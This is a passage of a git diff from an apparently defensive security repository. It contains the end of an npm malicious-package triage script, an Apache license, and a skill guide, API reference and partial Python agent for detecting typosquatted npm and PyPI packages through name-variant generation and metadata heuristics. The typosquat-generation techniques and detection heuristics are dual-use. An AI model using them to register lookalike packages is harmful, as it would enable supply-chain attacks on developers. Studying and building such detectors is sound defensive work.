|
||||
extract = workdir / "package"
|
||||
try:
|
||||
with tarfile.open(tgz, "r:gz") as tf:
|
||||
members = [m for m in tf.getmembers() if not m.name.startswith(("/", ".."))]
|
||||
tf.extractall(extract, members=members) # noqa: S202 - path-checked members
|
||||
except (tarfile.TarError, OSError) as exc:
|
||||
findings["error"] = f"extract failed: {exc}"
|
||||
return findings
|
||||
|
||||
pkg_json = next(extract.rglob("package.json"), None)
|
||||
if pkg_json:
|
||||
try:
|
||||
data = json.loads(pkg_json.read_text(encoding="utf-8"))
|
||||
findings["lifecycle_scripts"] = {
|
||||
k: v for k, v in (data.get("scripts") or {}).items()
|
||||
if k in ("preinstall", "install", "postinstall")
|
||||
}
|
||||
except (json.JSONDecodeError, OSError):
|
||||
pass
|
||||
|
||||
for src in extract.rglob("*.js"):
|
||||
try:
|
||||
text = src.read_text(encoding="utf-8", errors="ignore")
|
||||
except OSError:
|
||||
continue
|
||||
for m in SUSPECT_RE.finditer(text):
|
||||
findings["suspicious_lines"].append({"file": str(src.relative_to(extract)), "match": m.group(0)})
|
||||
findings["urls"].extend(URL_RE.findall(text))
|
||||
findings["urls"] = sorted(set(findings["urls"]))[:50]
|
||||
findings["suspicious_lines"] = findings["suspicious_lines"][:50]
|
||||
return findings
|
||||
|
||||
|
||||
def verdict(gd: dict, insp: dict) -> str:
|
||||
score = 0
|
||||
res = gd.get("result")
|
||||
if isinstance(res, dict):
|
||||
for v in res.get("results", res).values() if isinstance(res.get("results", res), dict) else []:
|
||||
if v:
|
||||
score += 2
|
||||
if insp.get("lifecycle_scripts"):
|
||||
score += 2
|
||||
score += min(len(insp.get("suspicious_lines", [])), 5)
|
||||
if score >= 6:
|
||||
return "MALICIOUS (high confidence)"
|
||||
if score >= 2:
|
||||
return "SUSPICIOUS (manual review required)"
|
||||
return "benign (no strong indicators)"
|
||||
|
||||
|
||||
def main() -> int:
|
||||
ap = argparse.ArgumentParser(description="npm malicious package triage")
|
||||
ap.add_argument("--package", help="npm package name")
|
||||
ap.add_argument("--version", help="specific version")
|
||||
ap.add_argument("--tarball", help="path to a local .tgz instead of downloading")
|
||||
ap.add_argument("--output", help="write JSON report")
|
||||
args = ap.parse_args()
|
||||
|
||||
if not args.package and not args.tarball:
|
||||
ap.error("provide --package or --tarball")
|
||||
|
||||
report: dict = {"package": args.package, "version": args.version}
|
||||
with tempfile.TemporaryDirectory() as td:
|
||||
work = Path(td)
|
||||
if args.tarball:
|
||||
tgz = Path(args.tarball)
|
||||
report["guarddog"] = (
|
||||
guarddog_scan(str(tgz), None) if shutil.which("guarddog") else {"error": "no guarddog"}
|
||||
)
|
||||
else:
|
||||
report["guarddog"] = guarddog_scan(args.package, args.version)
|
||||
tgz = download_tarball(args.package, args.version, work)
|
||||
|
||||
report["inspection"] = inspect_tarball(tgz, work) if tgz and tgz.exists() else {"error": "no tarball"}
|
||||
|
||||
report["verdict"] = verdict(report["guarddog"], report["inspection"])
|
||||
print(f"[+] verdict: {report['verdict']}")
|
||||
if report["inspection"].get("lifecycle_scripts"):
|
||||
print(f"[!] install scripts present: {report['inspection']['lifecycle_scripts']}")
|
||||
if report["inspection"].get("urls"):
|
||||
print(f"[i] {len(report['inspection']['urls'])} URL(s) found in source")
|
||||
|
||||
if args.output:
|
||||
Path(args.output).write_text(json.dumps(report, indent=2), encoding="utf-8")
|
||||
print(f"[+] report written to {args.output}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,176 @@
|
||||
---
|
||||
name: detecting-typosquatting-packages-in-npm-pypi
|
||||
description: 'Detects typosquatting attacks in npm and PyPI package registries by
|
||||
analyzing package name similarity using Levenshtein distance and other string metrics,
|
||||
examining publish date heuristics to identify recently created packages mimicking
|
||||
established ones, and flagging download count anomalies where suspicious packages
|
||||
have disproportionately low usage compared to their legitimate targets. The analyst
|
||||
queries the PyPI JSON API and npm registry API to gather package metadata for automated
|
||||
comparison. Activates for requests involving package typosquatting detection, dependency
|
||||
confusion analysis, malicious package identification, or software supply chain threat
|
||||
hunting in package registries.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: supply-chain-security
|
||||
tags:
|
||||
- typosquatting
|
||||
- npm
|
||||
- pypi
|
||||
- supply-chain
|
||||
- package-security
|
||||
- Levenshtein
|
||||
- dependency-confusion
|
||||
- malicious-packages
|
||||
version: 1.0.0
|
||||
author: mukul975
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- GV.SC-01
|
||||
- GV.SC-03
|
||||
- GV.SC-06
|
||||
- GV.SC-07
|
||||
mitre_attack:
|
||||
- T1195.001
|
||||
- T1195.002
|
||||
- T1608.001
|
||||
- T1554
|
||||
---
|
||||
# Detecting Typosquatting Packages in npm and PyPI
|
||||
|
||||
## When to Use
|
||||
|
||||
- Auditing project dependencies to identify packages whose names are suspiciously similar to popular libraries
|
||||
- Proactively scanning package registries for newly published packages that may be typosquats of your organization's packages
|
||||
- Investigating a suspected supply chain compromise where a developer installed a misspelled package name
|
||||
- Building automated monitoring that alerts when new packages appear with names close to critical dependencies
|
||||
- Assessing the risk profile of unfamiliar packages before adding them to a project's dependency tree
|
||||
|
||||
**Do not use** as the sole determination of malicious intent; name similarity alone does not prove a package is malicious. Do not use for bulk automated takedown requests without manual review of flagged packages. Do not use against private registries without authorization.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `requests` and `python-Levenshtein` (or `rapidfuzz`) packages installed
|
||||
- Network access to `https://pypi.org/pypi/<package>/json` (PyPI JSON API) and `https://registry.npmjs.org/<package>` (npm registry API)
|
||||
- A list of popular or critical packages to monitor (e.g., top 1000 PyPI packages, organization's dependency list)
|
||||
- Understanding of common typosquatting patterns: character omission, transposition, insertion, substitution, and hyphen/underscore manipulation
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Build the Target Package Watchlist
|
||||
|
||||
Establish the set of legitimate packages to monitor for typosquats:
|
||||
|
||||
- **Extract project dependencies**: Parse `requirements.txt`, `Pipfile.lock`, `package.json`, or `package-lock.json` to extract all direct and transitive dependency names
|
||||
- **Include popular packages**: Supplement with high-value targets from the top 1000 PyPI downloads (available from `https://hugovk.github.io/top-pypi-packages/`) or top npm packages by download count
|
||||
- **Add organization packages**: Include any packages published by your organization that attackers might target with typosquats to intercept internal installations
|
||||
- **Normalize names**: PyPI treats hyphens, underscores, and periods as equivalent (PEP 503 normalization: `re.sub(r"[-_.]+", "-", name).lower()`). npm package names are case-sensitive but scoped packages use `@scope/name` format. Normalize before comparison.
|
||||
|
||||
### Step 2: Generate Candidate Typosquat Names
|
||||
|
||||
Produce potential typosquat variants for each target package:
|
||||
|
||||
- **Character omission**: Remove each character one at a time (`requests` -> `rquests`, `requets`, `reqests`)
|
||||
- **Character transposition**: Swap adjacent characters (`requests` -> `erquests`, `rqeuests`, `reques ts`)
|
||||
- **Character substitution**: Replace characters with keyboard-adjacent keys using a QWERTY distance map (`requests` -> `rrquests`, `requesta`)
|
||||
- **Character insertion**: Insert common characters at each position (`requests` -> `rrequests`, `reqquests`)
|
||||
- **Separator manipulation**: For hyphenated names, try removing, doubling, or replacing separators (`my-package` -> `mypackage`, `my--package`, `my_package`)
|
||||
- **Common prefix/suffix attacks**: Prepend or append common strings (`python-requests`, `requests-python`, `requests2`, `requests-lib`)
|
||||
|
||||
### Step 3: Query Registry APIs for Candidate Packages
|
||||
|
||||
Check whether generated candidate names actually exist in the registry:
|
||||
|
||||
- **PyPI JSON API**: Send `GET https://pypi.org/pypi/<candidate>/json` for each candidate. A `200` response means the package exists; `404` means it does not. Extract from the response: `info.name`, `info.version`, `info.author`, `info.summary`, `info.home_page`, `info.project_urls`, and `releases` (keyed by version with `upload_time_iso_8601` timestamps).
|
||||
- **npm registry API**: Send `GET https://registry.npmjs.org/<candidate>` with `Accept: application/json`. Extract: `name`, `description`, `dist-tags.latest`, `time.created`, `time.modified`, `maintainers`, and `versions`.
|
||||
- **Rate limiting**: PyPI has no published rate limits but respect reasonable request rates (1-2 requests/second). npm registry returns `429` when rate limited; implement exponential backoff.
|
||||
- **Batch optimization**: For large candidate lists, parallelize requests with connection pooling (`requests.Session`) and limit concurrency to avoid triggering abuse protections.
|
||||
|
||||
### Step 4: Analyze Package Metadata for Suspicion Signals
|
||||
|
||||
Score each existing candidate package against multiple heuristic signals:
|
||||
|
||||
- **Levenshtein distance**: Calculate the edit distance between the candidate name and the target. Packages with distance 1-2 from a popular package are high-priority suspects. Historical analysis shows 18 of 40 known typosquats had Levenshtein distance of 2 or less from their targets.
|
||||
- **Publish date recency**: Compare the candidate's first publish date against the target's. A package created years after its near-namesake is more suspicious. Flag packages created within the last 90 days that are similar to packages published years ago.
|
||||
- **Download count disparity**: Compare weekly downloads. Legitimate similarly-named packages typically have comparable or explainable download counts. A package with 50 downloads versus its near-namesake with 5 million downloads is suspicious. PyPI download stats are available via BigQuery (`pypistats.org/api/`); npm provides download counts at `https://api.npmjs.org/downloads/point/last-week/<package>`.
|
||||
- **Author and maintainer analysis**: Check if the candidate package author matches the legitimate package author. Different authors for near-identical names increase suspicion.
|
||||
- **Description similarity**: Compare package descriptions. Typosquats frequently copy or closely paraphrase the target package description to appear legitimate.
|
||||
- **Version count**: Legitimate packages typically have many versions over time. A package with only 1-2 versions and a name similar to a popular package is suspicious.
|
||||
- **Repository URL analysis**: Check if the candidate links to the same repository as the target (likely legitimate fork/mirror) or has no repository URL (suspicious).
|
||||
|
||||
### Step 5: Score, Rank, and Report Findings
|
||||
|
||||
Combine signals into a composite risk score and generate an actionable report:
|
||||
|
||||
- **Weighted scoring**: Assign weights to each signal. Example: Levenshtein distance 1 = 40 points, Levenshtein distance 2 = 25 points, created < 90 days ago = 15 points, download ratio < 0.001 = 15 points, different author = 10 points, single version = 5 points. Total score out of 100.
|
||||
- **Threshold classification**: Score >= 70: HIGH risk (likely typosquat), 40-69: MEDIUM risk (requires manual review), < 40: LOW risk (likely legitimate)
|
||||
- **Generate report**: For each flagged package, include the target it mimics, all signal values, the composite score, direct links to both packages on the registry, and a recommendation (block, investigate, or allow)
|
||||
- **Actionable output**: Produce a blocklist of flagged package names that can be imported into package manager deny-lists, CI/CD policy engines, or artifact repository proxy rules
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Typosquatting** | Registering a package name that closely resembles a popular package, exploiting common typos to trick developers into installing malicious code |
|
||||
| **Levenshtein Distance** | The minimum number of single-character edits (insertions, deletions, substitutions) required to transform one string into another; the primary metric for measuring name similarity |
|
||||
| **Dependency Confusion** | A broader supply chain attack where attackers publish malicious packages to public registries with names matching private internal packages, exploiting package manager resolution order |
|
||||
| **PEP 503 Normalization** | The Python packaging specification that treats hyphens, underscores, and periods as equivalent in package names, meaning `my-package`, `my_package`, and `my.package` resolve to the same package |
|
||||
| **QWERTY Distance** | A keyboard-layout-aware distance metric measuring how far apart two keys are on a standard keyboard, used to detect substitutions from adjacent key mistyping |
|
||||
| **Combosquatting** | A variant of typosquatting where attackers prepend or append common words to a package name (e.g., `requests-security`, `python-requests`) |
|
||||
| **StarJacking** | An attack where a typosquat package links its repository URL to the legitimate package's GitHub repository to inflate apparent credibility |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **PyPI JSON API**: REST API at `https://pypi.org/pypi/<package>/json` returning package metadata including name, author, versions, upload timestamps, and project URLs
|
||||
- **npm Registry API**: REST API at `https://registry.npmjs.org/<package>` returning package metadata including maintainers, version history, creation timestamps, and distribution info
|
||||
- **python-Levenshtein / rapidfuzz**: Python libraries for fast string distance computation, supporting Levenshtein, Damerau-Levenshtein, Jaro-Winkler, and other similarity metrics
|
||||
- **pypistats.org API**: Provides download statistics for PyPI packages, enabling download count comparison between suspected typosquats and their targets
|
||||
- **npm download counts API**: Endpoint at `https://api.npmjs.org/downloads/point/<period>/<package>` providing download statistics for npm packages
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Auditing a Python Project for Typosquatted Dependencies
|
||||
|
||||
**Context**: A security team discovers that a developer's workstation was compromised after installing a Python package. The incident response team needs to audit all project dependencies for potential typosquats and establish ongoing monitoring.
|
||||
|
||||
**Approach**:
|
||||
1. Parse `requirements.txt` and `Pipfile.lock` to extract all 87 direct and transitive dependencies
|
||||
2. Generate typosquat candidates for each dependency using character omission, transposition, substitution, and separator manipulation, producing approximately 2,400 candidate names
|
||||
3. Query the PyPI JSON API for each candidate, finding 34 that actually exist as published packages
|
||||
4. Score each existing candidate: 3 packages score above 70 (HIGH risk) with Levenshtein distance 1, created within the last 60 days, single version, and fewer than 100 downloads
|
||||
5. Manual review confirms 2 of the 3 are malicious typosquats containing obfuscated code that exfiltrates environment variables during installation
|
||||
6. Block the malicious packages in the organization's artifact proxy, report to PyPI for takedown via `security@pypi.org`, and add all 87 dependencies to the ongoing monitoring watchlist
|
||||
7. Implement the detection agent as a scheduled CI job that runs weekly and alerts on new HIGH-risk findings
|
||||
|
||||
**Pitfalls**:
|
||||
- Not normalizing PyPI package names per PEP 503 before comparison, causing missed matches between hyphenated and underscored variants
|
||||
- Setting the Levenshtein distance threshold too low (only 1) and missing typosquats at distance 2 that use double substitutions
|
||||
- Relying solely on name similarity without checking metadata signals, leading to high false positive rates on legitimately similar package names
|
||||
- Not accounting for npm scoped packages (`@scope/name`) which have different naming rules than unscoped packages
|
||||
- Querying the registries too aggressively and getting rate-limited or IP-blocked
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Typosquatting Detection Report
|
||||
|
||||
**Scan Date**: 2026-03-19
|
||||
**Registry**: PyPI
|
||||
**Packages Monitored**: 87
|
||||
**Candidates Generated**: 2,412
|
||||
**Candidates Found in Registry**: 34
|
||||
**Flagged as Suspicious**: 5
|
||||
|
||||
### HIGH Risk (Score >= 70)
|
||||
|
||||
| Suspect Package | Target Package | Levenshtein | Created | Downloads | Score |
|
||||
|----------------|---------------|-------------|---------|-----------|-------|
|
||||
| reqeusts | requests | 1 | 2026-02-28 | 43 | 92 |
|
||||
| requsets | requests | 1 | 2026-03-01 | 12 | 88 |
|
||||
| numpyy | numpy | 1 | 2026-01-15 | 67 | 78 |
|
||||
|
||||
### Recommendation
|
||||
- BLOCK: reqeusts, requsets, numpyy (add to artifact proxy deny-list)
|
||||
- REPORT: Submit malware reports to security@pypi.org with package names and evidence
|
||||
- MONITOR: Continue weekly scans for the full dependency watchlist
|
||||
```
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
# API Reference: Typosquatting Detection Agent for npm and PyPI
|
||||
|
||||
## Overview
|
||||
|
||||
Detects typosquatting attacks in npm and PyPI package registries by generating candidate typosquat names using string manipulation techniques, querying registry APIs to check which candidates exist, and scoring each against multiple heuristic signals including Levenshtein distance, publish date recency, download count disparity, author mismatch, and version count. Produces risk-scored reports for security review.
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Package | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| requests | >=2.28 | HTTP requests to PyPI and npm registry APIs |
|
||||
| python-Levenshtein | >=0.21 | Fast Levenshtein distance computation (optional; pure-Python fallback included) |
|
||||
| rapidfuzz | >=3.0 | Alternative fast string distance library (optional) |
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
# Scan for typosquats of a single PyPI package
|
||||
python agent.py scan requests --registry pypi
|
||||
|
||||
# Scan for typosquats of an npm package
|
||||
python agent.py scan express --registry npm
|
||||
|
||||
# Scan with limited candidate count
|
||||
python agent.py scan numpy --registry pypi --max-candidates 50
|
||||
|
||||
# Scan all dependencies in a requirements file
|
||||
python agent.py scan-file requirements.txt --registry pypi
|
||||
|
||||
# Scan all dependencies in a package.json
|
||||
python agent.py scan-file package.json --registry npm
|
||||
|
||||
# Check a specific candidate against a target
|
||||
python agent.py check reqeusts requests --registry pypi
|
||||
|
||||
# Generate typosquat candidates without querying registries
|
||||
python agent.py generate requests
|
||||
|
||||
# Custom output path
|
||||
python agent.py scan flask --registry pypi --output flask_typosquat_report.json
|
||||
```
|
||||
|
||||
## Arguments
|
||||
|
||||
| Argument | Required | Description |
|
||||
|----------|----------|-------------|
|
||||
| `command` | Yes | Subcommand: `scan`, `scan-file`, `check`, `generate` |
|
||||
| `package` | For scan/generate | Target package name to analyze |
|
||||
| `file` | For scan-file | Path to requirements.txt, package.json, or similar |
|
||||
| `candidate` | For check | Candidate package name to evaluate |
|
||||
| `target` | For check | Legitimate target package name to compare against |
|
||||
| `--registry` | No | Registry to scan: `pypi` or `npm` (default: `pypi`) |
|
||||
| `--max-candidates` | No | Maximum number of candidates to check per package |
|
||||
| `--output` | No | Output report path (default: `typosquat_report.json`) |
|
||||
|
||||
## Key Functions
|
||||
|
||||
### `generate_typosquat_candidates(name)`
|
||||
Generates potential typosquat variants using character omission, transposition, duplication, QWERTY keyboard-adjacent substitution, separator manipulation, and common prefix/suffix combosquatting. Returns a sorted list of unique candidate strings.
|
||||
|
||||
### `query_pypi_package(name, delay)`
|
||||
Queries `GET https://pypi.org/pypi/<name>/json` and parses name, version, author, summary, version count, and first/latest upload timestamps from the response. Returns `None` for non-existent packages (HTTP 404).
|
||||
|
||||
### `query_npm_package(name, delay)`
|
||||
Queries `GET https://registry.npmjs.org/<name>` and parses name, description, maintainers, version count, created/modified timestamps, license, and repository URL. Handles HTTP 429 rate limiting with exponential backoff.
|
||||
|
||||
### `get_pypi_downloads(name)`
|
||||
Queries `https://pypistats.org/api/packages/<name>/recent` to retrieve last-week download count for download disparity analysis.
|
||||
|
||||
### `get_npm_downloads(name)`
|
||||
Queries `https://api.npmjs.org/downloads/point/last-week/<name>` to retrieve last-week download count.
|
||||
|
||||
### `compute_suspicion_score(candidate_meta, target_meta, target_name, registry)`
|
||||
Computes a weighted suspicion score (0-100) combining six signals: Levenshtein distance (up to 40pts), publish recency (up to 15pts), download ratio (up to 15pts), different author (10pts), low version count (5pts), and missing repository URL (5pts). Returns the score and a signal breakdown dictionary.
|
||||
|
||||
### `classify_risk(score)`
|
||||
Maps composite score to risk level: HIGH (>=70), MEDIUM (40-69), LOW (<40).
|
||||
|
||||
### `scan_package(target_name, registry, max_candidates)`
|
||||
End-to-end scan: fetches target metadata, generates candidates, queries registry for each, scores existing candidates, and returns ranked results sorted by descending score.
|
||||
|
||||
### `scan_dependency_file(filepath, registry, max_candidates_per_pkg)`
|
||||
Parses a dependency file (requirements.txt, package.json, Pipfile), extracts package names, and runs `scan_package` for each. Returns aggregated results with high/medium/low summary counts.
|
||||
|
||||
### `normalize_pypi_name(name)`
|
||||
Normalizes PyPI package names per PEP 503: replaces hyphens, underscores, and periods with a single hyphen and lowercases the result.
|
||||
|
||||
## Registry API Endpoints Used
|
||||
|
||||
| Endpoint | Method | Purpose |
|
||||
|----------|--------|---------|
|
||||
| `https://pypi.org/pypi/<name>/json` | GET | PyPI package metadata (info, releases, URLs) |
|
||||
| `https://registry.npmjs.org/<name>` | GET | npm package metadata (versions, time, maintainers) |
|
||||
| `https://pypistats.org/api/packages/<name>/recent` | GET | PyPI download statistics |
|
||||
| `https://api.npmjs.org/downloads/point/last-week/<name>` | GET | npm download statistics |
|
||||
|
||||
## Scoring Weights
|
||||
|
||||
| Signal | Condition | Points |
|
||||
|--------|-----------|--------|
|
||||
| Levenshtein distance | Distance = 1 | 40 |
|
||||
| Levenshtein distance | Distance = 2 | 25 |
|
||||
| Levenshtein distance | Distance = 3 | 10 |
|
||||
| Publish recency | Created <= 90 days ago | 15 |
|
||||
| Publish recency | Created <= 180 days ago | 8 |
|
||||
| Download ratio | candidate/target < 0.001 | 15 |
|
||||
| Download ratio | candidate/target < 0.01 | 8 |
|
||||
| Author mismatch | Different author/maintainer | 10 |
|
||||
| Version count | <= 2 versions | 5 |
|
||||
| Repository URL | Missing | 5 |
|
||||
@@ -0,0 +1,555 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Typosquatting Detection Agent - Detects typosquatting packages in npm and PyPI
|
||||
registries using Levenshtein distance analysis, publish date heuristics, and
|
||||
download count anomalies."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
import re
|
||||
import time
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
try:
|
||||
from Levenshtein import distance as levenshtein_distance
|
||||
except ImportError:
|
||||
# Fallback pure-Python Levenshtein implementation
|
||||
def levenshtein_distance(s1, s2):
|
||||
if len(s1) < len(s2):
|
||||
return levenshtein_distance(s2, s1)
|
||||
if len(s2) == 0:
|
||||
return len(s1)
|
||||
prev_row = range(len(s2) + 1)
|
||||
for i, c1 in enumerate(s1):
|
||||
curr_row = [i + 1]
|
||||
for j, c2 in enumerate(s2):
|
||||
insertions = prev_row[j + 1] + 1
|
||||
deletions = curr_row[j] + 1
|
||||
substitutions = prev_row[j] + (c1 != c2)
|
||||
curr_row.append(min(insertions, deletions, substitutions))
|
||||
prev_row = curr_row
|
||||
return prev_row[-1]
|
||||
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
